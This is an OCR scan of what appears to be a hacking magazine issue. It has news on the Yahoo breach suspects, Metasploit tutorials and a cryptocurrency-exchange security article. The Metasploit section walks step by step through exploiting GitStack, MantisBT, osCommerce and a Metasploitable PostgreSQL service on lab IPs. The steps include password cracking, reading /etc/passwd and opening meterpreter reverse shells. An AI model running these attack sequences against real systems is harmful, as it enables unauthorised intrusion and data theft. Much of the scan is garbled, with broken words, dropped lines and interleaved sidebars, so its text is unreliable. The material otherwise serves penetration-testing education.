-vian hacker Aleksey Belan. Dmitry Dokuchae
-v was arrested just eight months after the Ya
-hoo hack by Russian authorities on charges
of passing sensitive information belonging to
Russia to US authorities. Dokuchaev who use
to go by the hacker handle "Forb" was well kn
-own for stealing credit card data. It was alleg
-edly he who passed on some Yahoo credenti
-als to Baratov. Americans allege he worked f
-or Centre of Information Security, the cyber
wing of FSB. Even Igor Sushchin is behind th
-e bars.

Aleksey Belan is a Latvian hacker hired
by Russian agents who hacked into Yahoo in
2014. Just like Karim Baratov, he also sent a
specially cratfed spear p

-hishing email to specif
-cally selected Yahoo
employess to get acce-
ss inside Yahoo netwo
ined. -rk. One of the Yahoo
employees unfortuately
clicked on these mails and Belan got access
to the Yahoo's network. He got to Yahoo's dat
-abase and it's Account Management Tool wh
-ch is used to edit the Yahoo's entire databas-

@

Using this tool, he made a copy of the en
-tire database of Yahoo and downloaded it to
his own computer. This database contained
names, phone numbers, questions for changi
-ng passwords and their answers, password r
-ecovery emails and the cryptographic values
unique to each account. Aleksey Belan is still
at large.

Although all the perpetrators of the Yaho
-0 hack have still not been caught and brough
-t to justice, the sentencing of Karim Baratov i
-s a step forward in one of the worst data bre-
aches that cyber world has seen.




METASPLOIT THIS MONTH

Welcome to this month's Metasploit This Month feature. We are ready with some of the popul
-ar latest Metasploit modules.

Gitstack v2.3.10 Unauth REST API Auxiliary Module

[TARGET : Windows (all versions) TYPE : Remote FIREWALL : ON

GitStack is a software that allows Windows users to set up their own private Git server on Wi
F-ndows. It makes super easy to secure and keep your server up to date. GitStack is built on
the top of the genuine Git for Windows and is compatible with any other Git clients.

In our previous issue, we have seen a remote code execution (RCE) module that exploits
fan unauthenticated GitStack version 2.3.10 server. This auxiliary module performs unauthen-
ticated REST API calls against GitStack version 2.3.10 which gives anyone the ability to retri-
leve information about the application and make changes to it. This application by default allo
Fws unauthenticated REST API requests to several endpoints. This module works by sending
lunauthenticated requests to these endpoints.

Let us see how this module works.This module has been tested on Windows 7 with Fire
F-wall ON. Start Metasploit and search for gitstack modules using the "search gitstack" comm-
fand as shown below.

https://metasploit.com

metasploit 16.61-dev ]
1773 exploits - 1011 auxiliary - 307 post 1
538 payloads - 41 encoders - 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp

msf > search gitstack
[!] Module database cache not built yet, using slow search

Matching Modules

Disclos Description

auxiliary/admin/http/gitstack rest 2018-01-15 normal GitStack Unauthe|
nticated REST API Requests

exploit/windows/http/gitstack rce 2018-01-15 great GitStack Unsanit
ized Argument RCE

mef o [1

Load the module as shown below and use the show options command to see all the options i
t requires. The action of the module is set to list the users of this target application. As alrea-
dy specified, this module works even with Firewall ON as it works on port 80 which has to be
kept open for obvious purposes.




msf > use auxiliary/admin/http/gitstack_rest
msf auxiliary( ) > show options

Module options (auxiliary/admin/http/gitstack rest):

Current Setting Required Description
PASSWORD password Password for user
Proxies A proxy chain of format type:host:port[,
type:host:port][...]
RHOST The target address
RPORT 80 The target port (TCP)
SSL false Negotiate SSL/TLS for outgoing connectio

USERNAME msf User to create or modify
VHOST HTTP server virtual host

Auxiliary action:

Name Description

LIST List application users

ISet the rhost option. It is our target IP address. Execute the module using the run command
as shown below.

msf auxiliary( ) > set Rhost 192.168.41.129
Rhost => 192.168.41.129
msf auxiliary( ) > run

1 Retrieving Users
userl
user2
user3
Auxiliary module execution completed
auxiliary( ) >

IAs shown in the above image, we can see the module successfully retrieving all the users of
the application on our target machine. (These users user1, user2 and user3 were created sp-
ecifically for this purpose and your results may vary)

Mantisbt Manage Proj Page RCE Module
[TARGET : Web Servers having PHP, MYSQL TYPE : Remote FIREWALL : ON

Mantis Bug Tracker is an open source bug tracking system which can be deployed on web. It
's most common use is to detect software bugs. Mantis Bug Tracker version 1.1.3 and veriso
-ns prior to it are vulnerable to a post-authentication Remote Code Execution vulnerability.
This Remote Code Execution (RCE) vulnerability exists due to an unsanitized parameter
"$_GET['sort]" present in the page "manage_proj_page.php" of this application. Anything pa-
Issed to this parameter is forwarded to "multi_sort ()" function in the "/core/utility_api.php" pag
l-e as parameter "$p_key". This is once again passed to the "create_function()" as a payload.




All this happens without any sanitization and hence the vulnerability. Mantis Bug Tracker ver-

ions 1.1.3 and earlier are vulnerable to this module. Now let us see how this module works.
IStart Metasploit and search for the mantis module using the "search mantis" command as
ishown below.

msf > search mantis
[!] Module database cache not built yet, using slow search

Matching Modules

Name Disclosure D
ate Rank Description

auxiliary/admin/http/mantisbt password reset 2017-04-16
normal MantisBT password reset

auxiliary/gather/mantisbt_admin_sqli 2014-02-28
normal MantisBT Admin SQL Injection Arbitrary File Read

2008-10-16
excellent Mantis manage proj page PHP Code Execution

exploit/multi/http/mantisbt php exec 2014-11-08
great MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability

exploit/unix/webapp/vicidial user_authorization_unauth_cmd _exec 2017-05-26
excellent VICIdial user authorization Unauthenticated Command Execution

msf > use |

Load the module as shown below and use the show options command to see all the options i
t requires. This module works even with Firewall ON as it works on port 80 which has to be
kept open for obvious purposes.

msf > use exploit/multi/http/mantisbt manage proj page rce
msf exploit( ) > show options

Module options (exploit/multi/http/mantisbt manage proj page rce):
Current Setting Required Description

PASSWORD root The password to log in with

Proxies A proxy chain of format type:host:port[
,type:host:port][...]

RHOST The target address

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connecti
ons

TARGETURI /mantisbt/ The path to the Mantis installation

USERNAME administrator The username to log in as

VHOST HTTP server virtual host

Exploit target:

Id Name




ISet the rhost option. It is our target IP address. Use check command to test if the target is vu
Inerable or not. The target appears to be vulnerable. Execute the module using the run com-
mand as shown below.

msf exploit( ) > set rhost 192.168.41.139
rhost 192.168.41.139

msf exploit( ) > check

[*] 192.168.41.139:80 The target appears to be vulnerable.

msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.41.137:4444

[*] Sending stage (37775 bytes) to 192.168.41.139

[*] Meterpreter session 1 opened (192.168.41.137:4444 -> 192.168.41.139:60948) a
1 2018-09-03 ©08:10:16 -0400

meterpreter > syslnfo

ubuntu

Linux ubuntu 4.13.0-43-generic #48~16.04.1-Ubuntu SMP Thu May 17 1
3:00:11 UTC 2018 1686
Meterpreter : php/linux
meterpreter > i
IAs shown in the above image, we successfully got a meterpreter session on our target. Use
lsysinfo command to get information about our target system.

OSCommerce version 2.3.4.1 - Remote Code Execution Module
[TARGET : Web Servers having PHP, MYSQL TYPE : Remote FIREWALL : ON

IOsCommerce is an open source ecommerce and online management software similar to Wo
rocommerce and other ecommerce solutions. osCommerce version 2.3.4.1 is vulnerable to r-
femote code execution. This module only works If the “/install/* directory is not removed after

finishing the installation. Attackers can run the ‘install_4.php" script located in the install direc
tory which will create the configuration file for the installation.This allows the attacker to injec
It PHP code into the configuration file and execute it. Now let us see how this module works.

IStart Metasploit and search for the mantis module using the "search oscommerce" command
as shown below.

msf > search oscommerce
[!] Module database cache not built yet, using slow search

Matching Modules

Name Disclosure Date Ra
Description

exploit/multi/http/oscommerce installer unauth code exec 2018-04-30
cellent osCommerce Installer Unauthenticated Code Execution

exploit/unix/webapp/oscommerce filemanager 2009-08-31
cellent osCommerce 2.2 Arbitrary PHP Code Execution

nsf > [




ad the module as shown below and use the show options command to see all the options i
t require:
msf > use exploit/multi/http/oscommerce installer unauth_ code exec
msf exploit( ) > show options

Module options (exploit/multi/http/oscommerce_installer_unauth_code exec):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[
,type:host:port][...]

RHOST 192.168.41.137 The target address

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connecti
ons

URI /catalog/install/ The path to the install directory

VHOST HTTP server virtual host

Payload options (php/meterpreter/reverse tcp):
Name Current Setting Required Description
The listen address (an interface may be spe
cified)

LPORT 4444 yes The listen port
ISet the rhost option. It is our target IP address. Make sure the uri option is set to be the direc

‘linstall/" as shown below. Use check command to test if the target is vulnerable or not.
he target appears to be vulnerable.

msf exploit( check
[*] 192.168.41.139:80 The target is not exploitable.
msf exploit( set rhost 192. 16
8.41.139
rhost => 192.168.41.139
msf exploit( set uri /oscomme|
rce/catalog/install
uri => /oscommerce/catalog/install
msf exploit( check
[*] 192.168.41.139:80 The target appears to be vulnerable.
exploit(

Execute the module using the run mand as shown below.
msf exploit(

[*] Started reverse TCP handler on 192.168.41.137:4444

[*] Sending stage (37775 bytes) to 192.168.41.139

[*] Meterpreter session 2 opened (192.168.41.137:4444 -> 192.168.41.139:32978) a|
1 2018-09-03 10:55:47 -0400

meterpreter > sysinfo

Computer : ubuntu

0s : Linux ubuntu 4.13.0-43-generic #48~16.04.1-Ubuntu SMP Thu May 17 1
3:00:11 UTC 2018 i686

Meterpreter : php/linux

meterpreter > [j




[As shown in the above image, we successfully got a meterpreter session on our target. Use
lsysinfo command to get information about our target system.

Post/Linux/Gather/enum_protections Module
[TARGET : Linux TYPE : POST Exploitation FIREWALL : ON

IAs the name suggests this module is used to find various security applications installed on o-
ur target that can prevent or detect our attacks. The module detects these by locating certain
locations in which executables are present. These security applications include Firewalls, Intr
l-usion Detection Systems, Intrusion Prevention Systems and antivirus etc. Let us see how thi
-s module works.

Since this is a POST exploitation module, the target needs to be compromised first. We wil
H continue this from the mantisbt exploit where we compromised a Linux system. Backgroun-
[d that session and note the session id. Load the module as shown in the above image.

meterpreter > background

[*] Backgrounding session 1...
msf exploit( ) > use post/linux/gather/er|
um protections

msf post( ) > show options

Module options (post/linux/gather/enum protections):

Name

SESSION
msf post(

the session ID we have noted before. Set the session ID as sho
n below and execute the module using the run command.

) > set session 1
) > run

[*] Running module against 192.168.41.139 [ubuntu]
[*] Info:
[*] Ubuntu 16.04.2 LTS
[*1 Linux ubuntu 4.13.0-43-generic #48~16.04.1-Ubuntu SMP Thu May 17 13:00:1]
1 UTC 2018 1686 1686 1686 GNU/Linux
[*] Finding installed applications...

ufw found: /usr/sbin/ufw

iptables found: /sbin/iptables

logrotate found: /usr/sbin/logrotate

tcpdump found: /usr/sbin/tcpdump

aa-status found: /usr/sbin/aa-status

Installed applications saved to notes.

Post module execution completed

post( ) > i

As we can see in the above image, our module has detected some security applications on
he target system. They are iptables, logrotate and tcpdump etc. That's all for this issue. In o-
lur next issue, we will learn about many more Metasploit modules.




ATTACKING THE PostgreSQL SERVICE ON PORT 5432

METASPLOITABLE TUTORIALS

The lack of vulnerable targets is one of the main problems while practising the
skill of ethical hacking. Metasploitable is one of the best and often underestimated

vulnerable OS useful to learn hacking or p g. Many of my readers hav-
e been asking me for Metasploi tutor' So we have decided to make a lete
Metasploitable hackmg gu:de in accordance with ethical hacking process. We have pl
-anned this series k i i s in mind.

In the last issue, we have attacke‘& the MySQL service running on port 3306 that
culminated with dumping of some of the databases from the target system. In this iss
-ue, we will target another database service which is running on port 5432.

(Continuing with the results of the port scan, it is revealed that PostgreSQL service is running
fon port 5432. Often called the most advanced open source database, PostgreSQL is the first
database management system that implements multi-version concurrency control (MVCC) fe
l-ature. PostgreSQL is an object-relational database management system.

In PostgreSQL, users can define their own data types, index types, functional language-
Is, etc. It also allows users to add custom functions developed using different programming la
Fnguages such as C/C++, Java, etc. Many companies like Apple, Fujitsu, Red Hat etc use
PostgreSQL.

After making sure that the particular version of PostgreSQL doesn't have any vulnerab
ilities, | searched for alternative ways to hack this one. A quick research showed me that Me
tasploit has some modules related to PostgreSQL.

| Start Metasploit and search for PostgreSQL exploits using command "search postgresql"
. As you can see in the image shown below, | got many modules.




Although we have many modules, every module may not be compatible with the version of o-
ur target. So | decided to use some of the general modules initially (The modules I'm using ar
e highlighted in the above images). First | decided to crack the password of the PostgreSQL
iservice. The auxiliary/scanner/postgres/postgres_login module exactly does that (We ha-
e learnt about password cracking techniques in the same feature of our previous issues).
So | load the above mentioned module as shown below. Just like any other password c-
racking Metasploit module, it has several options.

PostgreSQL is originally named POSTGRES, which refers to
name "Post Ingres” referrring to the project's
origins in that database developed
at University of California.




| wanted to set the same credential file(pass.txt) we acq
anted to try default postgresql wordlist preset by the module. This wordlist contains




e most common passwords set by R
words of postgresql. | set the target IP address and and execute the module using
mmand. The module starts cracking as shown below.




Well, as you can see in the above highlighted image, we got a successful Togin. The targetis
lusing default username and password for postgresql (i.e postgres:postgres). Now, as | have
he credentials. it's time to try out a different module.

S Server Generic Query
auxilia Imin/postgres/postgres sq

rmal = ; L
he auxiliary/admin/postgres/postgres_sql module executes some of the PostgreSQL comm-
ands on the target. This requires credentials which we already have.

By default, this module runs the command select version () as shown in the above image. On
ce we set the target IP, the result is as shown below.




As you can see, there are three databases. postgres, template0 and template1. These are th
e default databases of postgresqgl. Now let's try to read a remote file present on the system.
Load the auxiliary/admin/postgres/postgres_readfile module as shown below. This module w

ill allow us to read a remote file using postgresql.

By default, the module will read the /etc/passwd file in a Linux system. The passwd file in Lin
ux is a text file that contains user login accounts for the system. | set the RHOST option as s
hown below.




When the module is execu we can view the passwd iile as show! IoW.

(%] Auxi
ms f

iary il
his passwd file is also stored as a text file in the /root/.msf4/loot/ directory of the attacking s-
stem as highlighted above. This can be viewed using any text editor later. An example of th-

e stored file can be seen in the image below. Here it is opened using a gedit text editor.

The PostgreSQL community considered changing the name to
Postgres; however, the PostgreSQL
Core Team announced in 2007 that the product would
continue to use the name PostgreSQL.
in a database.




Open ~ 20180715042426_default_-192.168.41.130_postgres.file580299.txt Save PG
laemon: /usr/sbin:/bin/shbin in:/bin:/bin/
sync:/bin:/bin/syncgames ames:/usr/games:/bin/
12:man:/var/cache/man:/bin/shlp :1p:/var/spool/lpd:/bin/shmai
ail:/bin/shnews 9:news:/var/spool/news:/bin/shuucp 0:10:uucp:/var/spool/uuc|
hproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data: /var/www: /bin/shbackup: :
ar/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39: ucd /var/run/
ircd:/bin/shgnats:x:4. Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/
5534:65534:nobody: /nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/
01:102: :/nonexistent:/bin/falsesyslog:x:162:103: :/home/syslog:/bin/falseklog:x:103:104::/
ome/klog:/bin/falsesshd 04:65534: /val/run/sshd /usr/sbin/
ologinms fadmil 000:100 : H :x:105:113::/var/cache/bind:/
1n/fal>epostf 3 i var/spool/postfix:/bin/falseftp:x:107:65534::/home/ftp:/bin/
08: ll7 PostgreSQL administrator,,,:/var/lib/postgresql:/bin/
18:MySQL Server,,, /var/lib/mysql:/bin/falsetomcat55 110:65534: : /usr/share/
:111:6553: /bin/falseuser:x:1001:1001: just a user,111,,:/home/

Set the required options (Don't forget, it also requires credentials). Check if the target is vuin
erable using the check command. The target appears to be vulnerable. Execute the module.

e successfully got a meterpreter session on the target as shown below.What a fitting climax
0 a hack it is if we get a meterpreter session at the end. In the next month's issue, we will be
back targeting another service. .
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Crypto Currency : The New Target of Hackers

ONLINE SECURITY

Jan 2018

IA Japanese crypto exchange named Coinche
ick announced hackers stole about 530 million
dollars from its users and this news made it c-
lome under government scrutiny.

August 2017

Hackers collected about $500,000 by using th
e CEO's credentials to get into the crypto cur
+rency website and send messages to subscri
+bers for funding.

July 2017

IA hacker changed the address posted on coi-
ndash website telling the initial coin offering
investor where to exchange ETH(Ethereum) f
or coindash tokens.He took almost $7 million
in stolen ETH.

March 2014

IThere was a theft of almost $473 million in bit
icoin which led to bankru
+ptcy of mount gox. Thi

the single biggest blac
-k eye on crypto curren
-cy security.

These are only some
of the cases where crypto currency exchange
s were targeted.

What is Crypto Currency?

Crypto currency is intangible piece of currenc
-y used as a medium of exchange during tran
-sactions between individuals and firms. It's a
digital asset since it uses “crypto” from the us
e of cryptography for security measures and
erification purposes during transactions. The
firms and individuals performing transactions
do not necessarily need to use banking servic
-es to facilitate transactions since they can us
e this digital way termed crypto currency exc
hange and even avoid charges imposed by fi
-nancial institutions for any transactions.
Paying and being paid using crypto cur
+rency is easy and efficient since its transacti-
lons are proposed and delivered through a net

Hackers collected

: aboutd$500,000
s can be described as tha CEQ)'s credentials to get
into the crypto currency
website and messaging
subscribers

work which is a block chain in nature. Thus, o
ne needs to just sit and operate a laptop.
What exactly is Crypto currency used for?
Crypto currency is used for paying for many t-
hings but it is popularly used by firms or indivi
-duals that transact businesses online or firms
that are far apart. This means that the two par
-ties must have specific block chains which ar
-e created to be decentralized. This helps in ¢
-onfirming a transaction before it is able to be
processed. This confirms security and safer tr
-ansactions for the personnel involved. One li
-mitation about the process is that it takes so-
me time for the approval to come true or the
transactions to be confirmed. Bitcoin, one for-
m of crypto currency has this as one of its maj
-or problems. Even then Crypto currency is m
-ostly used by big organizations that want to a
-void other modes of pa
yment like the use of ot
-her currencies or finan
-cial institutions.
The use of crypto
currency in purchasing
has increased tremendo
usly due to the increase of its users. The num
-ber or amount of items you can buy using
crypto currency (eg. bitcoins) also increased.
Apart from the use of crypto currency i-
n purchasing, one can also use crypto curren-
cy in investing which is even easier than usin-
g it in purchasing. Since the value of crypto c-
urrency keeps changing its level positively, yo
-u may need to keep investing in it. Although
its value level cannot be predicted, one shoul-
d be patient long enough for the whole deal to
work out. Sometimes it increases whereas so
-metimes it decreases. This means that the in
-vestors should be passionate and patient, si-
nce its benefit comes after a long period of ti-
me. It's advisable for those who would like to
invest in crypto currency to seek full knowled-
ge about it.

by using
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Apart from directly investing in crypto curr
-ency, may users are nowadays investing thr-
lough many organizations and firms that use t-
lechnological method related to block chain. T
-he more these organizations create wealth th
le more the investors benefit. Crypto currency
method of payment has so far been favored i-
n several retail and online outlets for those in-
dividuals who want to use the method, (e.g.
the crypto currency method has been used in
buying foodstuffs e.g. pizza and even used in
hotel banking services).

REASONS FOR POPULARITY OF CRYPTO

CURRENCY.

1.Small commission rates

Crypto currency payments benefit if viewed in
commission rates angle,compared to bank pa
yment. This system is also usually loyal ,fully
supported by its participants and decentralize
-d .One does not have to pay interest to the fi
nancial institutions and at the same time pay
for operations.
2. Absence of unified
money laundering
center:

The brokers allow
customers to sell or buy the

are already wary that authorities are already
burning the system
4. Presence of choice between crypto-curr
encies:
Presence of many crypto currencies has mad
e it easier to use since one can use the curre-
ncy of their choice to make payments or even
invest. This makes it very popular.
5. Anonymity:
Another awesome feature of crypto currency
is it works even with anonymous participants.
This increases the level of secrecy since few
digital generated codes are identified. Howev-
er, anonymity in it also attracts many scamme
-rs.This means users should be careful enoug
-h to identify scammers and fake ones and w-
ork with trusted resources only.

WHAT IS A CRYPTO CURRENCY

EXCHANGE?

Crypto currency exchanges are a type of onli-
ne exchanges done on specific online platfor-
ms where an individual or an organization ca-
n change one crypto curr
-ency for another. This
can be done either of t-

In normal economy, Cryﬁto CurrenCIe7 at h% the two ways: stock ex
only the state bank of m%’e%rgﬂg? a’?g‘?’t gdsdeetd Y/ -change, currency exc-

the country has the rol-

le of issuing money whic
+h is a different case when
it comes to crypto currency, which are mined
by different experts from maybe different
icountries and regions.

3.C i s
Crypto currency system is decentralized in a
way that its monetary system is independent
land release is conducted solely as a result of
mining. They are usually not tied to the banki-
ing sector thus the whole system works exclus
+ively on mutual trust of users. This is the rea-
son why the authorities are frightened of crypt
-o currency since such decentralization favors
the side of users and business structures and
there's no surveilllance on their activities.
'Some experts see crypto currency system wit
+h a doubt that it may bring down the econom
-y of the country. Most crypto currency users

lote d

value

hange.

There are many varietie
-s of crypto currency excha
-nges. They are,
1.Crypto currency funds
This funds are professionally managed crypto
currency allowing it to be used by the public i-
nstead of keeping it. Users can invest this fun
ds in crypto currency.
2. Crypto currency brokers
These are mainly website-based exchanges
that are like a currency exchange at the bord-
er of two countries. The brokers allow custom
-ers to sell or buy the crypto currencies at the
market price, mostly set by the broker and an
added value or premium which is usually a s-
mall amount.
3. Traditional crypto currency exchanges
This exchange has a similar characteristic wit
-h traditional stock exchanges since buyers




and sellers trade according to the current set
market price of crypto currencies. A fee is cha
-rged for every transaction undertaken. Howe
-ver, some allow customers to use normal cu-
rrencies i.e. USdollars for crypto currencies
like bitcoin.

4.Direct trading platforms:

IThis is a type of platform where peer to peer
trading services between buyers and sellers
are offered .There is no fixed market price us-
led in this type of platform since sellers are th-
le ones to create their own exchange rates, th
lose who want to buy, search for the sellers in
the platform and do over the counter exchang
le and the platform itself binds the sellers and
the buyers. even though this isn’t the best
solution ,direct trading may be the only way of
trading in some regions. This means users sh
-ould research on a highly trusted platform th-
jat is highly rated or trusted. Users should also
lensure that they put security measures to thei
-r codes and keys in order to safeguard their
wallets. They should be
careful and alert to
realize any changed
laddresses and even

This is rather silly questio n to be asked. For
many of the reasons cited above, crypto curre
-ncy users are always the soft target due to in
-creased number of its users and investors.
Hackers typically use calculated tricks

to steal users crypto currency. One of the met
hods is tricking users to give their personal
details and their private codes which can be u
-sed to access their digital wallets and preten-
d to be its users. This method is similar to the
method of phishing in hacking. As a part of th
-is method, they normally change some simpl
e letters of the domain address of exchange
iso that its real users don't realize any manipul
-ation and put in their details.

Another reason why hackers target crypto
currency is they can easily erase their footpri-

. One of the methods

is tricking users to give
their personal details and
private codes which are

nts digitally giving the security a hard time in r
-ealizing a fishy action taking place.This adva
-ntage helps the hackers to steal money. Eve
-n if detected, no money can be refunded sin
ce they are anonymous .There is more fear of
increased hacking in some crypto currencies
like Bitcoin due to the increase of the number
of the ICOs (Initial coin offerings). What hack-
ers just need is the private key of the users si
nce this key is used for maintaining privacy a-
nd confidentiality. Once they get it, they acce-
ss their wallets and send the users crypto cur
-rency to themselves. Sometimes they may
decide to interfere with the codes completely.

Bitcoin exchanges have been a greate
-r victim of hacking since they have numerous
users and its wallet can hold a large amount
of crypto currenciy..A very clear characteristic
of bitcoin exchanges that may also help the
hackers is that it does not possess some form
of anonymity thus making hacking even more
simpler.

The decentralized
working of crypto curre
-ncy raises its risk to b
e hacked since it has

letters. - AL > no link with other finan

wHy Hackers  USed to access their digital g insiitutions This giv

TARGET CRYPTO wallets. -es hackers a high cha-
CURRENCY? nce of hacking since they

will have to just work on a specific crypto curr-
ency .This would have been a different case if
there would be a link between the crypto cur
-rency and other financial institutions since ha
-ckers would have to follow a long chain of
procedures and tests to hack them.This will ta
-ke a long process and the security would hav
-e been able to realize unusual changes takin
-g place in the system. Crypto currency excha
nges are riskier because the transactions taki
-ng place are not under any regulatory organi
-zation hence they are not overseen.

Stealing from users pocket wallet is not
the only way hackers use. They can also trick
the users to give their bitcoins to the hackers.
Many methods have been used so far but as
already descibed above, social engineering




method is the most successful. Hackers are
lalso working tirelessly on attacking vulnerable
algorithms and implementing them in order to
favor them. This gives them an easy way duri
-ng hacking. Apart from bit coin, ethereum is
also facing a hard time due to hackers. The h
-ackers reset the user's contacts ,steal their
private keys and change the ownership of the
lethereums to themselves.

Since crypto currency is here to stay,
there is no other way than improving security
at these crypro currency exchanges.Safe codi
ng is needed here to keep a distance from h-
lackers. Software developers empowered with
icyber security skills are needed for this. Cons
-ultants and auditors also regularly need to ch
eck into the accounts and discover any chan
ges, if negative security measures are taken
immediately. The general public specifically t-
he users of crypto currencies should be enlig-
htened with cybersecurity safeguards. Emplo-

ees in the businesses and organizations als-
o0 need to be trained

ith knowledge in
order to be safe from
hackers.

The owners must
keep their bitcoin walle
-ts secure since hackers
use the owners information to hack the excha
-nge. Owners should be careful of the compu
-ter they use while making transactions and s
hould avoid public internet while making trans
lactions. Hacking cases can be detected when
the owner’s privacy has been compromised
giving unnecessary access to the owner’s wal
lets and bitcoins get stolen. One should also
carefully choose a bitcoin exchange since it's
not a surprise that one could even be trading

ith a malicious exchange set up by hackers.

COUNTERMEASURES TO BE TAKEN
AFTER THE HACK
Despite taking protective measures, sometim-
les users get hacked. When users or security
personnel suspect a hack has been carried o-
ut they should follow the steps below for easy

The crime today is
not about the use of guns
but rather a mouse cursor

and skilfuly acquired
passwords to crack
everyth

investigation.

1. Assess the damage of the affected part.

2. Lock down systems to prevent hackers fro-
m manipulating the investigation into the
hack.

3. Change all passwords to prevent other acc
-ess by hackers.

4. Record everything that happened by obser
ving, take screenshots, copying any suspiciou
-s code and everything that seems to be unus
-ual.

5. Communicate the event to forensic investig
-ators if you are a user or a employee.It's wis-
e to reach experts with high skills within the s-
hortest time possible.

6. Forensic Investigators should investigate b
y scanning malicious code, vulnerabilities that
might have allowed hackers to gain access, a
-ny malware presnt on the affected system.

7. They should also Investigate frequent logs
,repeating pattern etc.

CONCLUSION
We all are at risk of bei
ng victims of hacking s
ince we are all living in
a fast growing digital
ing. world of the 21st centu
-ry. According to a rece
-nt research hackers identity is ranged betwe
en 12 years young to 67 years old. Hacking is
always done through a computer connected
to an internet connection and nothing else. Th
is allows hackers to be a million miles away
i.e. a different continent but and execute hack
king on different people and organization fro-
m different regions. The leadiing crime in the
world at the moment is cyber crime. Since ha-
ckers don’t need to go to a bank rob money
from them or for that matter even go outside
to the world to commit the crime. The crime
today is not about the use of guns but rather
a mouse cursor and skillfully acquired passwo
-rds to crack everything. After all, as the old
adage goes, prevention is always better than
cure and it cannot be any truer than in this
case.
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